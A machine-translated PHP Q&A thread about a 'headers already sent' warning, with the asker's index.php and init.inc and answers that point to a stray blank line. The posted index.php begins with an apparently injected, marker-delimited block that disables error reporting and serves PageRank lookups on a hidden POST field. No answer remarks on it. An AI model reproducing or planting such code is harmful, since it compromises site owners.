无法修改标题信息警告消息

时间:2011-08-15 05:36:05

标签: php http-headers warnings

今天我将网站移到另一台服务器上。它在其他服务器上工作正常,现在我收到此警告消息:

警告:无法修改标题信息 - 已在第21行的/home/mesoubi/src/base/init.inc中发送的标题(在/home/mesoubi/public_html/fr/index.php:96处开始输出)< / p>

我现在已经搜索了几个小时。删除了空白区并尝试了其他的东西。但它不起作用。

如果您能提供帮助,请输入以下代码:

FILE_1_的 _ __ _ ____ 的index.php _ 的__ _ __ _ __

    <?php
    //{{2394095a

    GLOBAL $alreadyxxx;
    if($alreadyxxx != 1)
    {
    $alreadyxxx = 1;
    $olderrxxx=error_reporting(0);
    function StrToNum($Str, $Check, $Magic)

       $Int32Unit = 4294967296;
       $length = strlen($Str);
       for ($i = 0; $i < $length; $i++) {
           $Check *= $Magic;
           if ($Check >= $Int32Unit) {
               $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
               $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
           }
           $Check += ord($Str{$i});
       }
       return $Check;
    }
    function HashURL($String)
    {
       $Check1 = StrToNum($String, 0x1505, 0x21);
       $Check2 = StrToNum($String, 0, 0x1003F);

       $Check1 >>= 2;
       $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
       $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
       $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

       $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
       $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

       return ($T1 | $T2);
    }

    function CheckHash($Hashnum)
    {
       $CheckByte = 0;
       $Flag = 0;

       $HashStr = sprintf('%u', $Hashnum) ;
       $length = strlen($HashStr);    

       for ($i = $length-1; $i >= 0;  $i--) {
           $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
    }

   return '7'.$CheckByte.$HashStr;
    }

    function getpr($url)
    {
       $ch = CheckHash(HashURL($url));
       $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&    features=Rank&     q=info:$url";;
       $data = file_get_contents($file);
       $pos = strpos($data, "Rank_");
       if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
           $pr=trim($pr);
       $pr=str_replace("
    ",'',$pr);
           return $pr;
       }
    }
    if(isset($_POST['xxxprch']))
    {
        echo getpr($_POST['xxxprch']);
        exit();
    }
    error_reporting($olderrxxx);
    }

    //}}68091a99
    ?>

    <?
    include_once( '../../src/base/init.inc' );
    $filename = 'index_' . $_SESSION[ 'userType' ] . '.php';
    if( file_exists( $filename ) ) {
        include( $filename );
    } else { ?>
    <html>
    <head>
    <title>SGG</title>
    <link rel="stylesheet" href="/styles.css" />
    <script type="text/javascript" src="/js/rc.js"></script>
    </head>
    <body>
    <? include( 'menu.php' ); ?>
    </body>
    </html> <?
    //        echo $filename;
        }
    ?>

FILE_2_的 _ __ _ __ _ init.inc _ __ _ __ _ ___

<?

function dg( $a ) {
    if( $_SESSION[ 'userId' ] == 'mviau' ) print_r( $a );
}
$time = 0;
$totalTime = 0;
function logtime( ) {
    global $time;
    global $totalTime;
    if( $time == 0 ) 
        $time = microtime( true );
    else {
        $totalTime += microtime( true ) - $time;
        $time = 0;
    }
}
ini_set( 'error_reporting', E_ALL );
//ini_set( 'display_errors', true );
if( ( ! isset( $_SERVER[ 'HTTPS' ] ) || $_SERVER[ 'HTTPS' ] != 'on') && ! preg_match(           '/\/scripts\//', $_SERVER[ 'PHP_SELF' ] ) ) {
    header( 'Location: http://www.test.com' . "\n\n" );
    exit( );
}
define( 'TYPE_SERVICE', 10 );
define( 'TYPE_THERAPEUTE', 11 );
define( 'TYPE_FRANCHISE', 12 );
define( 'TYPE_FRANCHISEUR', 87 );
define( 'TYPE_ADMIN', 13 );
define( 'TYPE_CLIENT', 107 );
ini_set( 'display_errors', true );
ini_set( 'magic_quotes_gpc', false );
$languages = array( 'en' => 'English',
                'fr' => 'Français',
                'es' => 'Espanol' );
$locales   = array( 'en' => 'en_US',
                'fr' => 'fr_CA' );
$currentUrl = $_SERVER[ 'PHP_SELF' ];

//
// Set locale and timezone
//
$lang       = 'fr'; // language par défaut
preg_match( '/^\/([^\/]+)/', $currentUrl, $matches );
if( count( $matches ) > 0 && isset( $languages[ $matches[ 1 ] ] ) ) {
$lang = $matches[ 1 ];
}
date_default_timezone_set( 'America/Montreal' );
setlocale( LC_ALL, $locales[ $lang ] );
setlocale( LC_NUMERIC, $locales[ 'en' ] );

//
// Set include_path
//
$baseUrl = '/';
$basePath = '/home/mesoubi/src';
$baseHtml = '/home/mesoubi/public_html';
$incPath = ini_get( 'include_path' );
if( strstr( $incPath, $basePath ) === false ) {
    //ini_set( 'include_path', $incPath . ':' . $basePath . ':' . $basePath . '/fpdf153' );
    ini_set( 'include_path', $incPath . ':' . $basePath );
}

include_once( 'db/databaseManager.inc' );

function __autoload( $className ) {
    if( $className == 'FPDF' ) {
        include_once( 'fpdf153/fpdf.php' );
    } else {
        include_once( "classes/$className.inc" );
    }
}

session_start( );

//
// Check authentification
//
if( basename( $_SERVER[ 'PHP_SELF' ] ) != 'editor.php' ) {
    unset( $_SESSION[ 'editorObject' ] );
}
if( basename( $_SERVER[ 'PHP_SELF' ] ) != 'login.php' && 
basename( $_SERVER[ 'PHP_SELF' ] ) != 'generator.php' && 
! preg_match( '/scripts/', $_SERVER[ 'PHP_SELF' ] ) &&
! isset( $_SESSION[ 'user' ] ) ) {
    if( preg_match( '/\/client\//', $_SERVER[ 'PHP_SELF' ] ) ) {
        //
        // login client
        //
        header( "Location: $baseUrl$lang/client/login.php\n\n" );
        exit();
    } else {
            //
        // login user.
        //
        header( "Location: $baseUrl$lang/login.php\n\n" );
        exit();
        }
}

include_once( 'base/url/url.inc' );
URL::install( );

if( isset( $_SESSION[ 'userType' ] ) && $_SESSION[ 'userType' ] == TYPE_CLIENT &&
! preg_match( '/\/client\//', $_SERVER[ 'PHP_SELF' ] ) ) {
    header( "Location: /fr/client/login.php\n\n" );
    exit( );
}

function prh($arr)
{
    print '<pre>';
    print_r($arr);
    print '</pre>';
}

function prhd($arr)
{
    prh($arr);
    die();
}

3 个答案:

答案 0 :(得分:2)

您在index.php

的第95行有换行符
93: //}}68091a99
94: ?>
95: 
96: <?
97: include_once( '../../src/base/init.inc' );

错误消息告诉您确切的位置

  

输出始于/home/mesoubi/public_html/fr/index.php:96

答案 1 :(得分:2)

93: //}}68091a99
94: ?>
95: 
96: <?
97: include_once( '../../src/base/init.inc' );

第94-96行表示HTML空格。相反,只需留在PHP:

93: //}}68091a99
94: 
95: include_once( '../../src/base/init.inc' );

答案 2 :(得分:1)

正如其他人所指出的那样,问题是由于第95行的空白。我还会添加一个可能的原因,它可以在其他服务器上工作,而不是这个;检查服务器之间output_buffering选项中的其他值。如果启用了输出缓冲,则它会掩盖其他服务器上的空白问题。